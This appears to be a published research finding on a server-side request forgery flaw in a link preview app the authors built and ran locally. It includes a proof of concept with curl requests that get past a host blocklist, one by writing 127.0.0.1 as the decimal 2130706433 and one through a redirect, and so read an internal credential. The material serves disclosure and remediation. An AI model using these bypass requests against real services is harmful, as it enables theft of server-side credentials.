Research fixture: link preview

One finding from a published research note

127.0.0.1 (local test app)

High Anyone can make the link preview show a secret from inside the server

F-01

1 High

2026-11-10 · v1.0

What we found

Critical	High	Medium	Low
0	1	0	0

F-01 Anyone can make the link preview show a secret from inside the server



Anyone

No login. They only paste a link.

The link preview

It blocks a few names and follows redirects.

An internal secret

The credential of the internal service, printed in the preview.

> This is a demonstration. The target is a small link preview app that we wrote and ran on our own computer. It is published with the full recorded run at https://excessionlabs.ai/blog/ssrf/. We rated the problem as if the app were a real product that shows previews of links. The next page is for the engineering team.

F-01 Anyone can make the link preview show a secret from inside the server

High

CWE-918



Anyone
No login. They only paste a link.

The link preview
It blocks a few names and follows redirects.

An internal secret
The credential of the internal service, printed in the preview.

Risk	A stranger can read a secret that only the server should reach. Here it stands in for a cloud credential.
Where	`GET /preview?url=` in `fixture.py`, `PreviewHandler.handle_preview` (mode `naive`).
Cause	The blocklist compares the host text with `127.0.0.1`, `localhost` and `0.0.0.0` only, so 2130706433 (the same address) passes. Redirects are followed unchecked.
Not tested	DNS rebinding, IPv6 and other address spellings.
Fix	Resolve the host, fetch only from an allow list of address and port pairs, and do not follow redirects. In mode `strict`, which does this, both requests failed to reach the secret.

Proof of concept

```
# Start the test app in three terminals:
#   python3 fixture.py --role metadata --port 8766      # the internal service with the secret
#   python3 fixture.py --role target --port 8765 --redirect-to http://127.0.0.1:8766/latest/meta-data/secret
#   python3 fixture.py --role preview --port 8767 --mode naive
P=http://127.0.0.1:8767/preview
```

1 Control: the blocklist stops the internal address `127.0.0.1`. `-> 403, denylisted_host`

```
curl -s -i "$P?url=http%3A%2F%2F127.0.0.1%3A8766%2Flatest%2Fmeta-data%2Fsecret"
```

2 Write the same address as the number 2130706433. The preview prints the secret. `-> 200, secret_leaked: true`

```
curl -s -i "$P?url=http%3A%2F%2F2130706433%3A8766%2Flatest%2Fmeta-data%2Fsecret"
```

3 Send a normal looking link that redirects to the internal address. The preview follows it. `-> 200, secret_leaked: true`

```
curl -s -i "$P?url=http%3A%2F%2Ftarget.test%3A8765%2Fredirect"
```